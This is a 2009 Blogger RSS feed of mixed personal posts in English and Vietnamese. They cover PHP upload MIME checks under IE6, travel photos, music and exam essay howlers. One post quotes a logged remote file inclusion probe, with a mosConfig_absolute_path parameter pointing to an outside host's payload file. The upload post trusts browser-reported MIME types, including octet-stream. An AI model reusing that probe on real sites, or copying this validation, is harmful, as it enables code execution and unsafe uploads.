bgcolor="#e8e7e6"&gt;&lt;td colspan="3" style="font-size: 12px; font-style: italic; font-weight: bold;"&gt;Conclusion:&lt;br /&gt;Using a switch/case or if/elseif is almost the same. Note that the test is unsing === and is slitly faster then using ==.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-6709436366743004121?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/07/php-benchmark-tests.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-3979685317396037587</guid><pubDate>Wed, 22 Jul 2009 07:52:00 +0000</pubDate><atom:updated>2009-07-22T15:29:02.082+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>internet explorer</category><category domain='http://www.blogger.com/atom/ns#'>php</category><category domain='http://www.blogger.com/atom/ns#'>multi-upload</category><title>Internet Explorer SUCKS</title><description>I've just finished my project, it had multi file upload feature. And there were some problems.&lt;br /&gt;&lt;br /&gt;First I used muti file upload from Fyneworks.&lt;br /&gt;It's good.&lt;br /&gt;&lt;br /&gt;The trouble came when I validate mime type of uploaded-file.&lt;br /&gt;First I collected a list of mime type, you can search it from internet. And below is the list mime type that I used to validate uploaded-file:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$allow_file    = array('gif','jpg','png','doc','docx','rar','zip','wma','mp3','pdf');&lt;br /&gt;$allow_mime = array(&lt;br /&gt;                    'image/gif', 'image/jpeg', 'image/png',&lt;br /&gt;                    'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',&lt;br /&gt;                    'application/x-rar-compressed', 'application/zip',&lt;br /&gt;                    'application/octet-stream','application/force-download','image/pjpeg', //fix for suck mime of ie *_*&lt;br /&gt;                    'audio/mpeg', 'audio/x-ms-wma',&lt;br /&gt;                    'application/pdf'&lt;br /&gt;                );&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;zip                                      application/zip&lt;br /&gt;doc                                     application/msword&lt;br /&gt;docx application/vnd.openxmlformats-officedocument.wordprocessingml.document&lt;br /&gt;jpeg  image/jpeg&lt;br /&gt;jpg    image/jpeg&lt;br /&gt;doc   application/msword&lt;br /&gt;mp3 audio/mpeg3&lt;br /&gt;&lt;span class="bluesaint_postbit"&gt;rar    application/x-rar-compressed&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;When validate in client by javascript, it's ok.&lt;br /&gt;But when validate by php, the trouble come!!!&lt;br /&gt;In Firefox the mime type of uploaded-file is true.&lt;br /&gt;But when i use Internet Explorer v6 to submit file, some file is missing.&lt;br /&gt;What's the f*ck!ng ???&lt;br /&gt;Hum,....&lt;br /&gt;I've used the print_r to debug, it's really good at this&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;instance.&lt;br /&gt;&lt;br /&gt;Let's see:&lt;br /&gt;In Firefox : All mime type are right!!!&lt;br /&gt;ex: &lt;span class="bluesaint_postbit"&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span class="bluesaint_postbit"&gt;rar    =&gt; application/x-rar-compressed&lt;/span&gt;&lt;br /&gt;zip                                      =&gt; application/zip&lt;br /&gt;and&lt;br /&gt;jpeg =&gt;  image/jpeg&lt;/blockquote&gt;But in Internet Explorer:&lt;br /&gt;&lt;span class="bluesaint_postbit"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span class="bluesaint_postbit"&gt;rar    =&gt; application/force-download&lt;/span&gt;&lt;br /&gt;zip                                      =&gt; application/octet-stream&lt;br /&gt;and&lt;br /&gt;jpeg =&gt;  image/pjpeg&lt;/blockquote&gt;I have not tested all the mime type, but now I know the reason of missing file.&lt;br /&gt;:D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-3979685317396037587?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/07/internet-explorer-sucks.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-3789213117087142451</guid><pubDate>Fri, 03 Jul 2009 02:44:00 +0000</pubDate><atom:updated>2009-07-03T09:56:14.048+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>shell</category><title>Shell??</title><description>Sáng nay rảnh rảnh vào coi log stats của &lt;a href="http://opensource.com.vn/"&gt;opensource&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;blockquote  style="font-family:times new roman;"&gt;&lt;span style="font-weight: bold;"&gt;/?mosConfig_absolute_path=http://www.aalesundby.no/.../.thumb/site.txt????&lt;/span&gt;&lt;/blockquote&gt;Wtf???&lt;br /&gt;Truy cập thử vào thì có vẻ là cái host chú này dùng cc chùa rồi bị del rồi :-j&lt;br /&gt;Chú script kid nào tính chơi trò đây mà :|&lt;br /&gt;Khéo phải chuyển qua xài bằng html hết quá, không cứ thấy đâu có php là tụi nó chèn.&lt;br /&gt;Khổ cái stats của server quá.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-3789213117087142451?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/07/shell.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-499610292421283665</guid><pubDate>Tue, 23 Jun 2009 06:34:00 +0000</pubDate><atom:updated>2009-12-10T10:19:28.047+07:00</atom:updated><title>Xả xì trét</title><description>Xuất phát :&lt;br /&gt;6h lên đường&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB3obV-A_I/AAAAAAAAAIs/je7sILmKfGI/s1600-h/100_0422.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB3obV-A_I/AAAAAAAAAIs/je7sILmKfGI/s320/100_0422.JPG" alt="" id="BLOGGER_PHOTO_ID_5350407893734523890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dọc đường đi&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB39-CmnAI/AAAAAAAAAI0/L2XM3b3uzRw/s1600-h/100_0417.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB39-CmnAI/AAAAAAAAAI0/L2XM3b3uzRw/s320/100_0417.JPG" alt="" id="BLOGGER_PHOTO_ID_5350408263825792002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB4IoCoCkI/AAAAAAAAAI8/t6eohEnerE4/s1600-h/100_0419.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB4IoCoCkI/AAAAAAAAAI8/t6eohEnerE4/s320/100_0419.JPG" alt="" id="BLOGGER_PHOTO_ID_5350408446898866754" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB4UbyI_dI/AAAAAAAAAJE/LQhz_oxojB0/s1600-h/100_0446.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB4UbyI_dI/AAAAAAAAAJE/LQhz_oxojB0/s320/100_0446.JPG" alt="" id="BLOGGER_PHOTO_ID_5350408649766927826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB5IN8Z6SI/AAAAAAAAAJM/pggBE-3D3Fc/s1600-h/100_0447.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB5IN8Z6SI/AAAAAAAAAJM/pggBE-3D3Fc/s320/100_0447.JPG" alt="" id="BLOGGER_PHOTO_ID_5350409539405080866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Đến Quảng Ninh, vào đớp rồi mới ra tàu =p~&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB5IZ1fmjI/AAAAAAAAAJU/QNrHOQdBX34/s1600-h/100_0455.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB5IZ1fmjI/AAAAAAAAAJU/QNrHOQdBX34/s320/100_0455.JPG" alt="" id="BLOGGER_PHOTO_ID_5350409542597319218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;1h30 ra tàu ^0^&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB5Ijq2JTI/AAAAAAAAAJc/EBUsa-UnXAw/s1600-h/100_0456.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB5Ijq2JTI/AAAAAAAAAJc/EBUsa-UnXAw/s320/100_0456.JPG" alt="" id="BLOGGER_PHOTO_ID_5350409545237013810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Tranh thủ ra mũi tàu buôn cá tí :-"&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB5uv8xxLI/AAAAAAAAAJ0/GICClsYTQPU/s1600-h/100_0468.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB5uv8xxLI/AAAAAAAAAJ0/GICClsYTQPU/s320/100_0468.JPG" alt="" id="BLOGGER_PHOTO_ID_5350410201368478898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Pose cái cho nó có dấu đi chơi =)).&lt;br /&gt;Cũng phải nghĩ ra ối trò mà vọc chờ tàu ra đến đảo. Mất 4h30ph chứ ít đâu  :|&lt;br /&gt;Đi về đi cano có chưa đến 1h cho nó tàu nhanh ạ :(&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB5u8qn3AI/AAAAAAAAAJ8/rEAvlCuCFhw/s1600-h/100_0535.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB5u8qn3AI/AAAAAAAAAJ8/rEAvlCuCFhw/s320/100_0535.JPG" alt="" id="BLOGGER_PHOTO_ID_5350410204781992962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3 tác phẩm tự sướng được :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB71qk8NGI/AAAAAAAAALM/02gAVo6Q_SI/s1600-h/100_0622.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB71qk8NGI/AAAAAAAAALM/02gAVo6Q_SI/s320/100_0622.JPG" alt="" id="BLOGGER_PHOTO_ID_5350412519208662114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB71U3jfxI/AAAAAAAAALE/k7VfGzpXBsc/s1600-h/100_0621.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB71U3jfxI/AAAAAAAAALE/k7VfGzpXBsc/s320/100_0621.JPG" alt="" id="BLOGGER_PHOTO_ID_5350412513381154578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB6omh9_BI/AAAAAAAAAK8/QgXVeleEHfs/s1600-h/100_0620.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB6omh9_BI/AAAAAAAAAK8/QgXVeleEHfs/s320/100_0620.JPG" alt="" id="BLOGGER_PHOTO_ID_5350411195272526866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hóng mát trước khi làm giấc chờ xe về ks :p&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB6ohxokKI/AAAAAAAAAK0/tIoGWxWAqi0/s1600-h/100_0624.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB6ohxokKI/AAAAAAAAAK0/tIoGWxWAqi0/s320/100_0624.JPG" alt="" id="BLOGGER_PHOTO_ID_5350411193996054690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nước biển ở đây trong ác&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB6oSQsFnI/AAAAAAAAAKs/fk8Dy7EkiJ0/s1600-h/100_0584.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB6oSQsFnI/AAAAAAAAAKs/fk8Dy7EkiJ0/s320/100_0584.JPG" alt="" id="BLOGGER_PHOTO_ID_5350411189831341682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Rất sạch nữa&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB6oAv6WtI/AAAAAAAAAKk/kg9AWL1SUkI/s1600-h/100_0580.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB6oAv6WtI/AAAAAAAAAKk/kg9AWL1SUkI/s320/100_0580.JPG" alt="" id="BLOGGER_PHOTO_ID_5350411185130461906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Hoàng hôn quá tuyệt mỗi tội tấm này chôm của bạn, chớ hôm í mình ngủ đẫy đến 8h :"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB6n1MgAeI/AAAAAAAAAKc/UfHOlDgP3bo/s1600-h/100_0562.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB6n1MgAeI/AAAAAAAAAKc/UfHOlDgP3bo/s320/100_0562.JPG" alt="" id="BLOGGER_PHOTO_ID_5350411182029144546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB5vgZ08vI/AAAAAAAAAKU/Ijuf8Tkvcxo/s1600-h/100_0559.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB5vgZ08vI/AAAAAAAAAKU/Ijuf8Tkvcxo/s320/100_0559.JPG" alt="" id="BLOGGER_PHOTO_ID_5350410214375224050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sáng dậy quần bóng, cát bãi 1 rất sắc, chú ý :|.&lt;br /&gt;Đảo này có 3 bãi thì 3 loại cát khác nhau :-j&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB5veql10I/AAAAAAAAAKM/hXAHFOPBiwE/s1600-h/100_0568.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB5veql10I/AAAAAAAAAKM/hXAHFOPBiwE/s320/100_0568.JPG" alt="" id="BLOGGER_PHOTO_ID_5350410213908666178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Đường chui qua rừng thông ra bãi tắm 1&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB5vHB6dvI/AAAAAAAAAKE/fMC2zqYCZ1Q/s1600-h/100_0574.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB5vHB6dvI/AAAAAAAAAKE/fMC2zqYCZ1Q/s320/100_0574.JPG" alt="" id="BLOGGER_PHOTO_ID_5350410207564035826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Phó nháy bị chụp :-"&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB5JNT9pdI/AAAAAAAAAJs/t6nbbzNJktw/s1600-h/100_0615.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_OYXtKM3RM4c/SkB5JNT9pdI/AAAAAAAAAJs/t6nbbzNJktw/s320/100_0615.JPG" alt="" id="BLOGGER_PHOTO_ID_5350409556415325650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB5I3LoIUI/AAAAAAAAAJk/PQaQ8HFfMr4/s1600-h/100_0598.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB5I3LoIUI/AAAAAAAAAJk/PQaQ8HFfMr4/s320/100_0598.JPG" alt="" id="BLOGGER_PHOTO_ID_5350409550474780994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ra ca no về nhà&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB713Yh-zI/AAAAAAAAALc/xeJf_hYm27Y/s1600-h/100_0927.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB713Yh-zI/AAAAAAAAALc/xeJf_hYm27Y/s320/100_0927.JPG" alt="" id="BLOGGER_PHOTO_ID_5350412522646272818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Trên đường về tranh thủ vợt mấy cái pic cho đủ&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB8g1NgtXI/AAAAAAAAAL0/ZG99HdL1OVM/s1600-h/100_0953.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB8g1NgtXI/AAAAAAAAAL0/ZG99HdL1OVM/s320/100_0953.JPG" alt="" id="BLOGGER_PHOTO_ID_5350413260797556082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB8hN0mTCI/AAAAAAAAAL8/MXSUzdDzcZo/s1600-h/100_0958.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_OYXtKM3RM4c/SkB8hN0mTCI/AAAAAAAAAL8/MXSUzdDzcZo/s320/100_0958.JPG" alt="" id="BLOGGER_PHOTO_ID_5350413267403951138" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB8hYZa3RI/AAAAAAAAAME/5q4JnyLtcxw/s1600-h/100_0965.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB8hYZa3RI/AAAAAAAAAME/5q4JnyLtcxw/s320/100_0965.JPG" alt="" id="BLOGGER_PHOTO_ID_5350413270242745618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Trên xe về kết thúc 3 ngày đày nắng, gió và etc... goobye.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB8hQbDneI/AAAAAAAAAMM/pzp18pJeUNg/s1600-h/100_0973.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_OYXtKM3RM4c/SkB8hQbDneI/AAAAAAAAAMM/pzp18pJeUNg/s320/100_0973.JPG" alt="" id="BLOGGER_PHOTO_ID_5350413268102127074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Năm sau mà có dịp mình lại ra đây tiếp, hoang sơ và sạch sẽ :x&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-499610292421283665?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/06/xa-xi-tret.html</link><author>noreply@blogger.com (canhnm)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_OYXtKM3RM4c/SkB3obV-A_I/AAAAAAAAAIs/je7sILmKfGI/s72-c/100_0422.JPG' height='72' width='72'/><thr:total>4</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-4414330544376370331</guid><pubDate>Sat, 13 Jun 2009 06:50:00 +0000</pubDate><atom:updated>2009-06-13T15:02:41.798+07:00</atom:updated><title>Xe :-"</title><description>Iem này đã dc kéo với tốc độ 50Km/Tuần =))&lt;br /&gt;&lt;br /&gt;Hôm bữa thằng Ốc vác ra đi qua trường Gia Thiều, có chú CA lon ton đi ra, chợt chú liếc mắt thấy con xe, chán quay về chỗ cũ =]]&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upnhanh.sieuthinhanh.com/userimages/images/sieuthiNHANH2009052814722mjmzyzc3yt484448.jpeg"&gt;&lt;img style="cursor: pointer; width: 475px; height: 356px;" src="http://upnhanh.sieuthinhanh.com/userimages/images/sieuthiNHANH2009052814722mjmzyzc3yt484448.jpeg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-4414330544376370331?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/06/xe.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>3</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-6715319669085621997</guid><pubDate>Sat, 13 Jun 2009 03:39:00 +0000</pubDate><atom:updated>2009-06-23T14:22:13.233+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>rock</category><title>Phantom of the opera</title><description>The phantom of the opera&lt;br /&gt;&lt;br /&gt;Is there&lt;br /&gt;&lt;br /&gt;Inside my mind...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/i5SUSmedMm8&amp;amp;hl=en&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/i5SUSmedMm8&amp;amp;hl=en&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-6715319669085621997?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/06/phantom-of-opera.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-8286502302454295385</guid><pubDate>Fri, 12 Jun 2009 01:22:00 +0000</pubDate><atom:updated>2009-06-12T08:25:43.322+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>kì thi 2009</category><title>Những áng văn bất hủ kì thi 2009</title><description>&lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;Việc chấm bài thi tốt nghiệp THPT môn Ngữ văn của giám khảo chúng tôi, đến hôm nay (11/6) đã được già nửa chặng đường...."về đích". Đồng nghiệp của chúng tôi chia sẻ: "Đi chấm văn bây giờ có nhiều &lt;span style="font-weight: bold;"&gt;cảm xúc&lt;/span&gt; từ bài làm của thí sinh lắm...!"&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;Càng cảm xúc, hồi hộp hơn, vì đây là những bài văn của lứa học sinh đầu tiên, kiểm nghiệm thành quả của chương trình phân ban. Ai cũng muốn xem chất lượng làm bài của học sinh phân ban đầu tiên này có gì khác biệt, nổi trội hơn so với các thế hệ học trò cải cách đã qua không?!&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;Mỗi giám khảo, thanh tra chấm thi chúng tôi đã thẩm định, đánh giá không dưới trăm bài thi, thực tế, không có gì khác mấy so với các năm trước, thuộc hệ cải cách. Bên cạnh một số ít bài văn tốt, diễn đạt hay, viết văn có cảm xúc, sáng tạo, chúng tôi còn bắt gặp vô vàn các bài văn hạn chế, yếu kém.&lt;br /&gt;&lt;br /&gt;Biểu hiện cụ thể của nó thì cũng hết sức đa dạng, phong phú: Chữ viết cẩu thả, trình bày tệ hại, sai chính tả, câu què, câu cụt, diễn đạt, ý tứ sai lạc, vụng về, tối nghĩa, rối rắm...&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;Do dung lượng trang báo có hạn, ở bài viết này, chúng tôi chỉ dẫn ra những ví dụ được xem là tương đối "đặc biệt" trong các bài làm văn của thí sinh:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1 - Sai lạc đến chết người&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;- Lỗ Tấn, sinh năm 1985, mất năm 1963, quê quán ở tỉnh Bắc Ninh, gốc Ba Tàu, từng có 3 đời vợ, 5 người con.&lt;br /&gt;&lt;br /&gt;- Hạ Dụ là con của bà cụ Tứ, con ruột của Tràng, từng bị trận đói năm 1945 hành hạ, đe dọa cho tơi tả, xơ xác mướp. (Sau đó, câu chuyển sang Hạ Du - một người cách mạng trong quân ái quốc. Dùng bánh bao để trị bệnh điên cho Hạ Du).&lt;br /&gt;&lt;br /&gt;- Tô Hoài sinh năm 1920, quê Nghệ An, năm 1960 ông có 200 bài thơ và đạt kỹ luật (kỉ lục) nhà thơ Việt Nam. &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Arial;font-size:85%;"  &gt;- Tô Hoài là người chiến sĩ cách mạng đã từng sống và chiến đấu trên vùng đất...Tây Nguyên.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2 - Các câu văn ngây ngô... không nhịn được cười:&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;- Các bạn không được đọc những cuốn sách đồ trị (đồi trụy) mà nhà sách cấm nhé!&lt;br /&gt;&lt;br /&gt;- Người xưa từng nói: "ăn gì bổ nấy". Việc đọc sách cũng vậy.&lt;br /&gt;&lt;br /&gt;- Cho nên chúng ta hay đọc xách (sách) trong những giờ rãnh (rảnh) rỗi, chúng ta đọc không phải mằm (nằm) chổ (chỗ) này đọc, hay ngồi chổ (chỗ) kia, ngồi chổ (chỗ) nào có đủ lượng ánh xáng (sáng) chiếu vào để k (không) thể tăng cho mắt chúng ta bị cận được.&lt;br /&gt;&lt;br /&gt;- Ông Tô Hoài đã giết chết Mỵ nhưng vì Mỵ có sức sống tiềm tàng nên cho Mỵ sống lại, để tiếp tục chung sống với Pa trá.&lt;br /&gt;&lt;br /&gt;- 